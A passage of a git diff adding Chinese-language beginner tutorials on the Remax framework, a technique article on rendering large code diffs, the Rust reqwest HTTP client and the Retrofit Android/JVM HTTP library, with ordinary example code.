+my-app/
+├── package.json
+├── remax.config.js      # 可选：Webpack 钩子、插件
+├── public/                # 静态资源
+├── dist/                  # 编译产物，用各端开发者工具打开
+└── src/
+    ├── app.js
+    ├── app.css
+    ├── app.config.js
+    └── pages/
+        └── index/
+            ├── index.js
+            ├── index.css
+            └── index.config.js
+```
+
+| 命令 | 作用 |
+|------|------|
+| `npm run dev` | 监听编译到 `dist/` |
+| `npm run dev wechat` | 跨平台仓库指定微信端 |
+| `npm run build` | 生产构建 |
+
+## 跨平台实践
+
+官方推荐的跨端路径偏**务实**：
+
+1. 先在一端用 Remax 跑通业务
+2. 另一端新建项目对照差异，而不是一开始就「一套代码打天下」
+3. 把差异收敛到 `@/components`、`@/api`、`@/hooks` 封装层；页面保持纯业务 JSX
+
+`app.config.js` / `page.config.js` 可导出 `{ wechat, ali, toutiao }` 对象，CLI 按构建目标选取配置。
+
+## 与相关技术的关系
+
+| 技术 | 关系 |
+|------|------|
+| React | Remax 是渲染目标之一，不修改 React 语义；可复用多数纯逻辑 Hook 与组件 |
+| Taro 3+ | 同为运行时 React；Taro 维护更活跃、端更多（含 H5/RN） |
+| kbone | 仿 DOM 通用层，框架无关；Remax 仅 React，链路更短 |
+| Rax 小程序 | 阿里系另一路线，含编译时与运行时混合；Remax 更「纯 React」 |
+| 微信原生 | 最终仍受 `setData` 性能与包体积约束；复杂原生能力需直接调 `wx.*` |
+
+## 性能与限制
+
+- **setData 瓶颈**：VNode  diff 后再 setData，比整树盲传好，但高频大对象更新仍会卡；列表要虚拟化、分页，避免一次绑定上千节点
+- **模板深度**：微信 20 层模板嵌套限制极深组件树；过深嵌套需扁平化结构
+- **包体积**：运行时 + React reconciler 有固定开销，比纯原生或纯编译方案更大
+- **仓库归档**：安全补丁与新端适配需自行评估；生产新项目建议对比 Taro / 原生
+
+## 常见问题
+
+**能用 Redux / MobX 吗？** 可以，它们是 React 生态；注意持久化用各端 `storage` API，不要依赖 `localStorage`。
+
+**能用 React Router 吗？** 小程序路由由 `app.config` 的 `pages` 声明，页面跳转走 `navigateTo` 等；SPA 式路由需自行封装，不如 H5 自由。
+
+**`usePageEvent` 在子组件里会重复触发？** 历史版本有过 bug（同路由跳转、子组件 setState 导致父级不触发等），升级 `remax` 小版本并避免在 `onShow` 里做过多同步状态连锁更新。
+
+**样式方案**：支持 CSS、Less、Sass；无完整浏览器 CSS 支持，flex 布局最稳；类名用 `className` 传到小程序 `class`。
+
+## 小结
+
+Remax 的核心贡献是证明：**不必牺牲 React 运行时，也能在微信/支付宝等小程序里开发**。实现上 = `react-reconciler` + VNode + 构建期通用模板 + `setData`。零基础学习路径：用 `create-remax-app` 跑通单页 → 分清 `remax/平台` 组件与 API → 用 `usePageEvent` 接生命周期 → 读一眼 VNode/模板原理理解性能边界 → 若做新项目，再与 Taro 等维护中方案对比选型。即使 Remax 不再演进，这套「自定义 React 渲染器」知识对 React Native、Canvas、终端 UI 同样适用。
diff --git a/src/content/docs/projects/rendering-diffs-pierre.md b/src/content/docs/projects/rendering-diffs-pierre.md
new file mode 100644
index 000000000..41e44fcb2
--- /dev/null
+++ b/src/content/docs/projects/rendering-diffs-pierre.md
@@ -0,0 +1,249 @@
+---
+title: On Rendering Diffs — 零空白 Diff 渲染技术详解
+来源: https://pierre.computer/writing/on-rendering-diffs
+日期: 2026-06-13
+分类: 数据可视化
+子分类: 数据可视化
+provenance: pipeline-v3
+---
+
+## 是什么
+
+这篇文章讲了 Pierre Computer Company 怎么做一个叫 CodeView 的组件，让你能在浏览器里**秒开任意大小的代码 diff**——不管 diff 是一千行还是七百兆，滚动都不卡、不闪白。
+
+日常类比：想象你在图书馆翻一本十万页的书。普通做法是把你看到的页面一张张贴到眼前，翻快了页面就掉下来（空白区域）。CodeView 的做法是：给你一块永远贴在眼前的玻璃板，书的内容在这块玻璃上"滑动"，玻璃板本身的边框永远不会掉——你看到的永远是有内容的。
+
+## 为什么重要
+
+做代码审查（code review）时，你经常要面对很大的 PR：AI 生成的实现、大量文件改动、超大补丁。普通 diff 工具在遇到大规模代码时会出现三个问题：
+
+1. **渲染慢**——DOM 元素太多，浏览器滚动时卡顿
+2. **处理慢**——语法高亮等操作被放大，成千上万次重复
+3. **内存爆**——大文件变成 DOM 后占用几百 MB 甚至上 GB 内存
+
+CodeView 的目标很极端：**你应该能直接渲染任意 diff**，不需要等、不需要分批加载。
+
+## 核心概念 1：虚拟化（Virtualization）
+
+虚拟化也叫"窗口化"，核心思想是：**只渲染你看得到的部分，看不见的先不画。**
+
+普通做法是把整个 diff 一次性渲染到 DOM 里。如果有 50 万行，浏览器就得创建 50 万个元素。虚拟化做法是：视口里只显示 30-50 行对应的 DOM 节点，滚动时动态替换。
+
+但这里有个经典难题——**空白问题（blanking）**：
+
+```
+浏览器滚动太快 → JavaScript 来不及更新 → 视口里的内容"掉下来" → 露出空白
+```
+
+文章介绍了三种虚拟化方案的权衡：
+
+| 方案 | 原理 | 优点 | 缺点 |
+|------|------|------|------|
+| 传统虚拟列表 | 创建满高容器，用 absolute 定位显示区域 | 浏览器原生滚动，体验好 | 快速滚动时出现空白 |
+| requestAnimationFrame 方案 | 固定容器，用 JS 帧循环更新内容 | 不会空白 | JS 卡住就跟着卡，Safari 还锁 60Hz |
+| 自定义滚动 | 完全没有原生滚动条，自己模拟 | 完全可控 | 工作量巨大，要处理各平台差异 |
+
+## 核心概念 2：反向粘滞技术（Inverse Sticky Technique）
+
+这是整篇文章最原创的部分。CodeView 发明了一个叫**反向粘滞**的技术，让上面三种方案的问题都不再是问题。
+
+先说普通 `sticky` 定位：你想让一个目录标题滚动时"粘"在顶部，就设 `position: sticky; top: 0`，标题会吸在容器顶部不动。
+
+反向粘滞的做法正好相反：
+
+```css
+/* 反向粘滞核心 CSS */
+.inverse-sticky-content {
+  position: sticky;
+  /* 关键：用负值，让内容区域"粘"在视口边缘 */
+  top: calc((contentHeight - viewportHeight) * -1);
+  bottom: calc((contentHeight - viewportHeight) * -1);
+}
+```
+
+怎么理解？画个图：
+
+```
+┌────────────────── 浏览器视口 ──────────────────┐
+│                                                  │
+│  ┌────────── 超大容器（完整高度）────────┐       │
+│  │   上面一大块空白区域                  │       │
+│  │   （滚动时快速穿过）                   │       │
+│  │                                       │       │
+│  │  ┌────────────────────────────────┐  │       │
+│  │  │   CodeView 渲染的内容区域       │  │       │
+│  │  │   ← 滚动时粘在视口边缘不动      │  │       │
+│  │  │                               │  │       │
+│  │  │                               │  │       │
+│  │  └────────────────────────────────┘  │       │
+│  │                                       │       │
+│  │   下面一大块空白区域                  │       │
+│  │   （滚动时快速穿过）                   │       │
+│  └──────────────────────────────────────┘       │
+│                                                  │
+└──────────────────────────────────────────────────┘
+```
+
+效果是：**当你快速滚动穿过空白区域时，内容区域粘在视口边缘不会掉下去，所以不会出现空白**。JavaScript 就算落后几帧也没关系——内容还粘在边缘，用户看不到跳变。
+
+```js
+// CodeView 中使用反向粘滞的简化逻辑
+function useInverseSticky(contentHeight, viewportHeight) {
+  // 计算粘性偏移：内容高度减去视口高度，取负值
+  const stickyOffset = (contentHeight - viewportHeight) * -1;
+
+  return {
+    style: {
+      position: 'sticky',
+      top: stickyOffset,
+      bottom: stickyOffset,
+      // 这样内容在滚动过程中会粘在视口顶部或底部
+      // 永远不会"滚出"视口范围
+    }
+  };
+}
+```
+
+## 核心概念 3：内存管理
+
+除了渲染，文章还详细讲了怎么处理大 diff 的内存问题。
+
+### 分离字符串（Detaching Parsed Strings）
+
+JavaScript 里有个坑：从一个长字符串里取子串，子串可能**仍然引用着原来的大字符串**，不会释放它的内存。
+
+```
+原始补丁文件: "line1\nline2\nline3\n... (700MB)"
+                  ↓ 解析
+需要保留的行:  ["line1", "line2", "line3"]
+                  ↓ 问题：子串可能还在引用 700MB 的原始字符串！
+内存占用:     2.4 GB（实际只需要 1.15 GB）
+```
+
+解决方案：**强制拷贝字符串**，让它脱离原来的大字符串：
+
+```js
+// 原始做法 — 危险，可能泄漏内存
+function parseDiff(originalPatch) {
+  const lines = originalPatch.split('\n');
+  return lines.map(line => ({ content: line }));
+  // 每个 line 可能还在引用 originalPatch
+}
+
+// 优化后 — 拷贝字符串，断掉引用
+function parseDiffOptimized(originalPatch) {
+  const lines = originalPatch.split('\n');
+  return lines.map(line => ({
+    content: String(line)  // String() 强制创建独立副本
+  }));
+  // 现在每个 line 都是独立字符串，原始大串可以被 GC 回收
+}
+```
+
+效果：Linux 内核 v6→v7 的 diff（700MB 补丁），内存从 2.4GB 降到 1.15GB，解析速度提升 80%。
+
+### DOM 元素池（DOM Element Pooling）
+
+虚拟化了之后，DOM 元素虽然少，但**频繁创建销毁**会触发大量垃圾回收（GC），表现为滚动卡顿。
+
+CodeView 的做法是**池化容器**——把整个 Shadow DOM 壳子复用起来，只清理内容部分：
+
+```
+旧做法：
+  滚动离开 → 销毁整个元素（包括样式表、SVG 图集）
+  滚动进入 → 重新创建整个元素 + 样式表 + SVG 图集
+  ❌ 每次都重建，浪费
+
+新做法（池化）：
+  滚动离开 → 只清空内容 DOM，保留壳子
+  滚动进入 → 复用壳子，只替换内容
+  ✅ 样式表、SVG 图集只创建一次
+```
+
+```js
+// 元素池的简化思路
+const elementPool = new Map();
+
+function getOrCreateContainer(key) {
+  if (elementPool.has(key)) {
+    const container = elementPool.get(key);
+    // 复用：清空旧内容
+    container.innerHTML = '';
+    return container;
+  }
+  // 新建：创建完整壳子（Shadow DOM + 样式 + SVG）
+  const container = createFullShell();
+  elementPool.set(key, container);
+  return container;
+}
+```
+
+### 共享 options 状态
+
+每个 File/FileDiff 组件原本都有自己的一份 `options` 对象。当用户切换"分栏/单栏"设置时，CodeView 要给**所有组件**创建新的 spread 对象：
+
+```js
+// ❌ 旧做法 — 每个组件各自持有一份 options
+// 用户切换设置时，CodeView 遍历所有组件，逐个 spread 新对象
+<File options={{ ...newOptions }} />
+<FileDiff options={{ ...newOptions }} />
+<File options={{ ...newOptions }} />
+// ... 上万个组件，每个都要创建新对象
+```
+
+改为**单一来源 + 稳定引用 + getter** 模式：
+
+```js
+// ✅ 新做法 — CodeView 持有唯一 options，各组件通过 getter 读取
+const sharedOptions = {
+  // 内部状态
+  _splitView: false,
+  _lineNumbers: true,
+
+  // 稳定的 getter，返回值始终来自同一份状态
+  get splitView() { return this._splitView; },
+  get lineNumbers() { return this._lineNumbers; },
+};
+
+// 所有组件引用同一个对象，切换时只需改状态，不需要创建新对象
+<File options={sharedOptions} />
+<FileDiff options={sharedOptions} />
+```
+
+## 其他关键技术
+
+### 延迟语法高亮
+
+语法高亮是最耗 CPU 的操作之一。CodeView 不阻塞它：
+
+1. 文件先以纯文本渲染
+2. 异步请求 worker 线程做高亮
+3. 结果放入 LRU 缓存，回到视口时直接命中
+
+```js
+// 高亮可以推迟，不影响代码可读性
+// 用户立即看到代码（纯文本），高亮稍后"着色"
+codeView.render(diff);           // 先渲染纯文本
+workerPool.highlight(diff);      // 异步高亮
+codeView.setHighlight(highlighted); // 渐进式增强
+```
+
+### 行范围查找优化
+
+从 0 开始逐行遍历查找渲染范围，在超大 hunk（几十万行）时会很慢。优化方案：**缓存位置检查点 + 二分查找**，先找到接近的位置再精确搜索。
+
+## 还没解决的问题
+
+文章也坦诚了一些未完成的挑战：
+
+- **CSS 性能**——复杂 CSS 布局/绘制是虚拟化的最大开销
+- **Worker 间序列化**——几万行的高亮数据通过 worker 传输很慢
+- **水平滚动**——超长行（如压缩的 JS/CSS）仍然会撑大 DOM
+
+未来计划包括轻量编辑、语义 diff、以及部分工作迁移到服务端。
+
+## 总结
+
+这篇文章的技术核心就一句话：在浏览器的物理限制下，做到"理论上不可能"的零空白 diff 渲染。靠的不是黑科技，而是**对浏览器底层行为的精细利用**——反向粘滞利用了 CSS sticky 的一个很少被注意的特性，字符串拷贝利用了 V8 的子串实现细节，DOM 池化利用了 Shadow DOM 的开销结构。
+
+对零基础的读者来说，记住三个关键词就够了：**虚拟化**（只渲染可见部分）、**反向粘滞**（让内容粘在边缘不掉）、**内存管理**（断掉字符串引用 + 池化 DOM）。
diff --git a/src/content/docs/projects/reqwest.md b/src/content/docs/projects/reqwest.md
new file mode 100644
index 000000000..253854e9b
--- /dev/null
+++ b/src/content/docs/projects/reqwest.md
@@ -0,0 +1,169 @@
+---
+title: reqwest — Rust HTTP 客户端
+来源: https://github.com/seanmonstar/reqwest
+日期: 2026-06-13
+分类: 其他
+子分类: rust-tools
+provenance: pipeline-v3
+---
+
+# reqwest — Rust HTTP 客户端
+
+## 一、什么是 reqwest？
+
+想象一下，你要给远方的朋友寄一封信。你需要写地址、贴邮票、把信交给邮局，然后等着回信。
+
+在 Rust 程序里，"给别的网站发消息"就是发 HTTP 请求。reqwest 就是 Rust 世界里最常用的"邮局"——它帮你打包请求、发出去、收回来，还顺便把信封上的格式问题都处理好了。
+
+它是 Rust 生态中最流行的 HTTP 客户端库，GitHub 上有 11,700 多个星标，被大量生产项目使用。
+
+## 二、核心概念
+
+### 1. Client（客户端）
+
+Client 就像一个快递柜。你创建一个 Client，就可以反复用它来发请求。它会复用连接（叫 keep-alive），比每次新建连接更快。
+
+### 2. RequestBuilder（请求构建器）
+
+这是 reqwest 最优雅的设计。它用"链式调用"让你一步步组装请求：
+
+```
+GET("url")         → 设置网址和方式
+   .header(...)    → 加请求头
+   .json(...)      → 加 JSON 数据
+   .send()         → 发送
+   .await          → 等待结果
+```
+
+每一步都返回一个新的 RequestBuilder，像搭积木一样，最后一步 `.send()` 才真正发出去。
+
+### 3. Response（响应）
+
+收到回信后，你会看到信封上的状态（200 成功、404 找不到等），以及信的内容（body）。reqwest 帮你把这两部分分别封装好了。
+
+### 4. 异步 vs 阻塞
+
+reqwest 有两种模式：
+- **异步（async）**：默认模式，配合 Tokio 运行时使用，适合服务器程序
+- **阻塞（blocking）**：像传统写法一样"等结果出来再继续"，适合脚本或简单程序
+
+## 三、安装
+
+在 `Cargo.toml` 中添加：
+
+```toml
+[dependencies]
+reqwest = { version = "0.13", features = ["json"] }
+tokio = { version = "1", features = ["full"] }
+serde = { version = "1", features = ["derive"] }
+```
+
+`features = ["json"]` 表示开启 JSON 序列化/反序列化支持，这是最常用的功能之一。
+
+## 四、代码示例
+
+### 示例 1：最简单的 GET 请求
+
+```rust
+use std::collections::HashMap;
+use serde::Deserialize;
+
+#[derive(Deserialize, Debug)]
+struct IpInfo {
+    origin: String,
+}
+
+#[tokio::main]
+async fn main() -> Result<(), Box<dyn std::error::Error>> {
+    // 直接用一个简单函数发 GET 请求
+    let resp = reqwest::get("https://httpbin.org/ip")
+        .await?                              // 发出请求，等待响应
+        .error_for_status()?                 // 如果是 4xx/5xx，转为错误
+        .json::<IpInfo>()                    // 把 JSON body 自动解析成结构体
+        .await?;                             // 等待解析完成
+
+    println!("你的 IP 是: {}", resp.origin);
+    Ok(())
+}
+```
+
+**逐行解释：**
+1. `reqwest::get("url")` — 发 GET 请求
+2. `.await?` — 异步等待服务器回复，`?` 表示出错就提前返回
+3. `.error_for_status()?` — 如果状态码是 400 或 500 开头，转为错误（不检查的话，即使是 404 也不会报错）
+4. `.json::<IpInfo>().await?` — 把返回的 JSON 自动反序列化成 `IpInfo` 结构体
+
+### 示例 2：POST 请求 + 自定义 Client + 表单
+
+```rust
+use serde::{Deserialize, Serialize};
+use std::collections::HashMap;
+
+#[derive(Serialize, Deserialize, Debug)]
+struct CreateUser {
+    username: String,
+    email: String,
+}
+
+#[derive(Deserialize, Debug)]
+struct UserResponse {
+    id: u64,
+    username: String,
+}
+
+#[tokio::main]
+async fn main() -> Result<(), Box<dyn std::error::Error>> {
+    // 创建一个可复用的 Client
+    let client = reqwest::Client::builder()
+        .timeout(std::time::Duration::from_secs(30))  // 30 秒超时
+        .build()?;
+
+    // 准备要发送的数据
+    let user = CreateUser {
+        username: "testuser".to_string(),
+        email: "test@example.com".to_string(),
+    };
+
+    // 链式调用：发 POST 请求，body 是 JSON
+    let response = client.post("https://httpbin.org/post")
+        .json(&user)                        // 自动序列化 JSON 并设置 Content-Type
+        .header("X-Custom-Header", "my-app") // 自定义请求头
+        .send()
+        .await?;
+
+    // 检查状态
+    if response.status().is_success() {
+        let body_text = response.text().await?;
+        println!("请求成功！返回数据: {}", body_text);
+    } else {
+        println!("请求失败，状态码: {}", response.status());
+    }
+
+    Ok(())
+}
+```
+
+**关键知识点对比：**
+
+| 方法 | 用途 | 自动处理 |
+|------|------|----------|
+| `.json(&data)` | 发送 JSON body | 设置 `Content-Type: application/json` |
+| `.form(&params)` | 发送表单 body | 设置 `Content-Type: application/x-www-form-urlencoded` |
+| `.body(raw_bytes)` | 发送原始字节 | 不做额外处理 |
+
+## 五、reqwest 能做什么
+
+- GET / POST / PUT / DELETE 等所有 HTTP 方法
+- 自动处理 gzip/brotli 压缩（开 feature 即可）
+- Cookie 会话管理
+- 代理支持（HTTP、SOCKS5）
+- 自定义重定向策略（最多 10 跳）
+- 上传/下载文件（multipart）
+- 流式接收大数据
+- 支持 WebAssembly（浏览器环境）
+
+## 六、下一步
+
+- 官方文档: https://docs.rs/reqwest
+- 示例代码: https://github.com/seanmonstar/reqwest/tree/master/examples
+- Cargo 页面: https://crates.io/crates/reqwest
diff --git a/src/content/docs/projects/retrofit.md b/src/content/docs/projects/retrofit.md
new file mode 100644
index 000000000..9831be3a7
--- /dev/null
+++ b/src/content/docs/projects/retrofit.md
@@ -0,0 +1,282 @@
+---
+title: Retrofit — 把 HTTP API 变成 Java/Kotlin 接口的类型安全客户端
+来源: 'https://github.com/square/retrofit'
+日期: 2026-06-13
+子分类: 移动端
+分类: 后端 API
+难度: 初级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Retrofit 是 Square 出品的**类型安全 HTTP 客户端**，面向 Android 和 JVM。日常类比：像餐厅里的**点菜单 + 传菜员**——你在菜单（interface）上勾选菜名和口味（注解描述 URL、参数、请求体），厨房按单做菜；你不需要自己跑后厨、拼 URL、手写 JSON 解析，传菜员（Retrofit 生成的实现类）把成品端到你面前（Kotlin/Java 对象）。
+
+你写：
+
+```kotlin
+interface GitHubService {
+    @GET("users/{user}/repos")
+    suspend fun listRepos(@Path("user") user: String): List<Repo>
+}
+```
+
+Retrofit 在运行时生成 `GitHubService` 的实现：把 `@GET` 拼成完整 URL、用 OkHttp 发请求、用 Converter 把 JSON 转成 `List<Repo>`。业务层只看到**普通接口方法调用**，看不到 socket、字节流和解析细节。
+
+2010 年 Jake Wharton 在 Square 开源，和 OkHttp 组成 Android 网络栈事实标准；GitHub 上 4.3 万+ star，Maven 坐标 `com.squareup.retrofit2:retrofit`，2025 年 5 月发布 **3.0.0**（要求 Java 8+ 或 Android API 21+）。
+
+## 为什么重要
+
+不理解 Retrofit，下面这些事都没法解释：
+
+- 为什么 Android 教程里 `interface ApiService` + `@GET` 就能调 REST，却找不到实现类源码
+- 为什么换 Gson 成 Moshi 往往只改 `addConverterFactory` 一行，业务 interface 不动
+- 为什么 Kotlin `suspend` 函数可以直接 `api.getUser()`，底层仍是 OkHttp 异步
+- 为什么很多团队把「网络层」和「业务层」边界画在 Retrofit interface 上——它是契约，不是工具函数堆
+
+## 核心要点
+
+Retrofit 的运转可以拆成 **五块**：
+
+1. **声明式接口（API 契约）**：每个 HTTP 端点对应 interface 里一个方法；`@GET` / `@POST` / `@PUT` / `@PATCH` / `@DELETE` / `@HEAD` / `@OPTIONS` 或自定义 `@HTTP` 指定方法与相对路径。路径占位用 `@Path("{name}")`，查询串用 `@Query`，请求体用 `@Body`，动态 Header 用 `@Header`。类比：菜单上每道菜一行，括号里写辣度、加料选项。
+
+2. **Retrofit.Builder 组装运行时**：`baseUrl`（必须以 `/` 结尾）、`addConverterFactory`（JSON ↔ 对象）、可选 `client(OkHttpClient)`（超时、拦截器、证书）。`retrofit.create(MyApi::class.java)` 用动态代理生成实现。类比：餐厅加盟手册——定总部地址、定厨师（转换器）、定配送车（OkHttp）。
+
+3. **Call 与协程两种返回风格**：
+   - Java 风格：`Call<T>`，`.execute()` 同步阻塞，`.enqueue(Callback)` 异步回调。
+   - Kotlin 风格：`suspend fun ...(): T` 或 `Response<T>`，编译器挂起，非 2xx 抛 `HttpException`。
+   本质都是「描述一次尚未发出的 HTTP 请求」，真正 IO 在 OkHttp 线程池。
+
+4. **Converter 负责序列化边界**：默认只认识 `RequestBody` / `ResponseBody`。加 `converter-gson`、`converter-moshi`、`converter-kotlinx-serialization` 等 sibling 模块后，`@Body User` 和 `User` 返回值才能自动 JSON 化。`Converter.Factory` 可自定义 YAML、Protobuf 等格式。
+
+5. **底层是 OkHttp**：Retrofit 不自己建连接；所有 TLS、连接池、重试、拦截器都走 `OkHttpClient`。统一加 Token、打日志、Mock 响应，在 OkHttp `Interceptor` 里做，Retrofit interface 保持干净。
+
+## 依赖与最小配置
+
+Gradle（Kotlin DSL）常见写法：
+
+```kotlin
+dependencies {
+    implementation("com.squareup.retrofit2:retrofit:3.0.0")
+    implementation("com.squareup.retrofit2:converter-moshi:3.0.0")
+    implementation("com.squareup.okhttp3:okhttp:4.12.0")
+    implementation("com.squareup.okhttp3:logging-interceptor:4.12.0")
+}
+```
+
+Moshi 需要 `kapt` 或 KSP 生成 adapter；若用 Gson 则换 `converter-gson`。R8 混淆时 Retrofit 自带 ProGuard 规则；纯 ProGuard 需手动合并 `retrofit2.pro` 和 OkHttp 规则。
+
+## 实践案例
+
+### 案例 1：Kotlin + suspend + Moshi 完整起步
+
+```kotlin
+import com.squareup.moshi.Moshi
+import com.squareup.moshi.kotlin.reflect.KotlinJsonAdapterFactory
+import retrofit2.Retrofit
+import retrofit2.converter.moshi.MoshiConverterFactory
+import retrofit2.http.GET
+import retrofit2.http.Path
+
+data class Repo(val id: Long, val name: String, val full_name: String)
+
+interface GitHubService {
+    @GET("users/{user}/repos")
+    suspend fun listRepos(@Path("user") user: String): List<Repo>
+}
+
+fun main() {
+    val moshi = Moshi.Builder()
+        .add(KotlinJsonAdapterFactory())
+        .build()
+
+    val retrofit = Retrofit.Builder()
+        .baseUrl("https://api.github.com/")
+        .addConverterFactory(MoshiConverterFactory.create(moshi))
+        .build()
+
+    val api = retrofit.create(GitHubService::class.java)
+
+    // 在协程作用域内调用
+    // val repos = api.listRepos("square")
+}
+```
+
+要点：`baseUrl` 末尾的 `/` 不能漏；`@GET("users/{user}/repos")` 是相对路径，会和 base 拼接。`suspend` 方法在非协程上下文不能直接调——Android 里用 `lifecycleScope.launch`，JVM 脚本用 `runBlocking`。
+
+### 案例 2：POST + @Body + OkHttp 拦截器统一鉴权
+
+```kotlin
+import okhttp3.Interceptor
+import okhttp3.OkHttpClient
+import okhttp3.logging.HttpLoggingInterceptor
+import retrofit2.http.Body
+import retrofit2.http.POST
+import java.util.concurrent.TimeUnit
+
+data class LoginRequest(val email: String, val password: String)
+data class TokenResponse(val access_token: String, val expires_in: Long)
+
+interface AuthApi {
+    @POST("v1/auth/login")
+    suspend fun login(@Body body: LoginRequest): TokenResponse
+}
+
+fun buildApi(tokenProvider: () -> String?): AuthApi {
+    val authInterceptor = Interceptor { chain ->
+        val original = chain.request()
+        val token = tokenProvider()
+        val request = if (token != null) {
+            original.newBuilder()
+                .header("Authorization", "Bearer $token")
+                .build()
+        } else original
+        chain.proceed(request)
+    }
+
+    val logging = HttpLoggingInterceptor().apply {
+        level = HttpLoggingInterceptor.Level.BODY
+    }
+
+    val client = OkHttpClient.Builder()
+        .connectTimeout(15, TimeUnit.SECONDS)
+        .readTimeout(30, TimeUnit.SECONDS)
+        .addInterceptor(authInterceptor)
+        .addInterceptor(logging)
+        .build()
+
+    return Retrofit.Builder()
+        .baseUrl("https://api.example.com/")
+        .client(client)
+        .addConverterFactory(MoshiConverterFactory.create())
+        .build()
+        .create(AuthApi::class.java)
+}
+```
+
+登录接口用 `@Body` 发 JSON；登录成功后把 token 存起来，`tokenProvider` 给后续请求自动带 `Authorization`。网络横切关注点放在 OkHttp 拦截器，Retrofit interface 只描述 REST 形状。
+
+### 案例 3：Java 回调风格（遗留代码常见）
+
+```java
+public interface LegacyApi {
+    @GET("status")
+    Call<Health> health();
+}
+
+Retrofit retrofit = new Retrofit.Builder()
+    .baseUrl("https://api.example.com/")
+    .addConverterFactory(GsonConverterFactory.create())
+    .build();
+
+LegacyApi api = retrofit.create(LegacyApi.class);
+
+api.health().enqueue(new Callback<Health>() {
+    @Override
+    public void onResponse(Call<Health> call, Response<Health> response) {
+        if (response.isSuccessful()) {
+            Health body = response.body();
+            // 使用 body
+        }
+    }
+
+    @Override
+    public void onFailure(Call<Health> call, Throwable t) {
+        // 网络层失败
+    }
+});
+```
+
+新 Kotlin 项目优先 `suspend`；维护老 Android 模块时仍会见到 `Call` + `enqueue`。`Response<T>` 包装 HTTP 状态码和 header，适合需要读 `code()` 而不是直接抛异常的场景。
+
+## 常用注解速查
+
+| 注解 | 作用 |
+|------|------|
+| `@GET` / `@POST` / … | HTTP 方法与相对路径 |
+| `@Url` | 动态完整 URL（覆盖 baseUrl 路径部分） |
+| `@Path("id")` | 替换路径中的 `{id}` |
+| `@Query` / `@QueryMap` | URL 查询参数 |
+| `@Header` / `@Headers` | 请求头（动态 / 静态） |
+| `@Body` | JSON 或已转换的请求体 |
+| `@Field` + `@FormUrlEncoded` | `application/x-www-form-urlencoded` |
+| `@Part` + `@Multipart` | 文件上传 multipart |
+| `@Streaming` | 大文件流式读 ResponseBody，避免整包进内存 |
+
+## 踩过的坑
+
+1. **`baseUrl` 必须以 `/` 结尾**：`https://api.example.com` 会报错或拼错路径；正确是 `https://api.example.com/`。
+
+2. **interface 方法不能在 Android 主线程 `.execute()`**：同步调用会 NetworkOnMainThreadException；用 `enqueue` 或 `suspend`。
+
+3. **Converter 顺序有优先级**：`addConverterFactory` 先注册的先尝试；Scalars 工厂放太前会把一切当 String，导致 Gson 永远轮不到。
+
+4. **`@Url` 传相对路径时的拼接规则**：若 `@Url` 以 `/` 开头，会替换 baseUrl 的 path 部分；全 URL 则忽略 base 的 path。调试时看 OkHttp logging 最直观。
+
+5. **数据类字段名与 JSON 不一致**：Moshi/Gson 要靠 `@Json(name = "...")` 或命名策略；否则静默得到 `null` 字段。
+
+6. **把 Retrofit 实例到处 new**：应单例 `Retrofit` + 单例 `OkHttpClient`，否则连接池不复用，TLS 握手浪费严重。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- Android / JVM 调 REST JSON API（移动 App、桌面工具、后端集成第三方）
+- 团队希望「API 契约」用 interface 集中管理，方便 Mock 和单元测试
+- 已与 OkHttp 生态深度绑定（Certificate Pinning、Chucker 调试、缓存）
+- 多端共享同一套 API 描述（配合 Kotlin Multiplatform 时常见 Moshi + Retrofit）
+
+**不适用**：
+
+- 纯浏览器前端 → 用 fetch / axios / ky
+- Node.js 服务 → 用 undici、got、原生 fetch
+- gRPC / WebSocket 长连接为主 → Retrofit 不是这档子工具（可看 OkHttp WebSocket 或其他 SDK）
+- 极简脚本只打一两个 GET → `curl` 或一行 HttpClient 更轻
+
+## 与 OkHttp、axios 的对比
+
+| 维度 | Retrofit | OkHttp | axios |
+|------|----------|--------|-------|
+| 定位 | REST 接口生成器 | 底层 HTTP 引擎 | 高层 HTTP 客户端 |
+| API 风格 | 注解 interface | Request/Response 对象 | config + Promise |
+| 平台 | JVM / Android | JVM / Android | 浏览器 + Node |
+| JSON | 靠 Converter 插件 | 手写或配合 Retrofit | 内置 transform |
+
+Retrofit **离不开** OkHttp；axios 在概念上接近「Retrofit + Gson + 拦截器」打包给 JS 世界，但没有「interface 动态代理」这一层。
+
+## 历史小故事（可跳过）
+
+- **2010-09**：Square 开源 Retrofit，解决 Android 上 HttpURLConnection 难用、回调地狱问题
+- **2013-2015**：与 OkHttp 2/3 深度整合，注解驱动 API 成为 Android 社区默认教科书写法
+- **2017**：Kotlin 普及后，`Call` 逐渐让位给 `suspend` 扩展（Retrofit 2.6+ 内建支持，无需 Rx 适配器）
+- **2020s**：Ktor Client、Apollo GraphQL 在部分场景分流，但 REST + Retrofit 仍是面试高频
+- **2025-05**：Retrofit **3.0.0** 发布，延续 `com.squareup.retrofit2` 坐标，与新版 Kotlin / OkHttp 对齐
+
+## 学到什么
+
+1. **把协议声明成类型，比封装工具函数更可持续**——interface 即文档，编译期就能发现签名漂移
+2. **分层：Retrofit 管契约，OkHttp 管传输，Converter 管格式**——换 JSON 库不动 URL 定义
+3. **动态代理是 JVM 的隐藏大招**——`create()` 背后没有手写实现类，却类型安全
+4. **平台库的生命周期极长**——十四年仍在发 major，说明「声明式 + 可组合」比一次性全能 SDK 更耐演进
+
+## 延伸阅读
+
+- 官方文档：[square.github.io/retrofit](https://square.github.io/retrofit/)
+- 声明式注解详解：[Declarations](https://square.github.io/retrofit/declarations/)
+- 配置与 Converter：[Configuration](https://square.github.io/retrofit/configuration/)
+- 源码入口：[Retrofit.java](https://github.com/square/retrofit/blob/trunk/retrofit/src/main/java/retrofit2/Retrofit.java)
+- [[okhttp]] —— Retrofit 默认搭载的 HTTP 引擎
+- [[moshi]] —— Square 出品的 JSON 库，与 Retrofit 常配对
+
+## 关联
+
+- [[okhttp]] —— 连接池、TLS、拦截器、超时；Retrofit 的运输层
+- [[moshi]] —— Kotlin 友好的 JSON 适配，常作 Retrofit Converter
+- [[gson]] —— 老项目最常见的 Retrofit JSON 后端
+- [[kotlin-coroutines]] —— `suspend` API 的并发模型
+- [[axios]] —— Web 端地位类似的 HTTP 客户端（无 interface 代理）
+- [[ktor]] —— Kotlin 原生多平台 HTTP 客户端，KMP 场景的替代路线
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
diff --git a/src/content/docs/projects/ripgrep.md b/src/content/docs/projects/ripgrep.md
index 3555720d0..820c81d03 100644
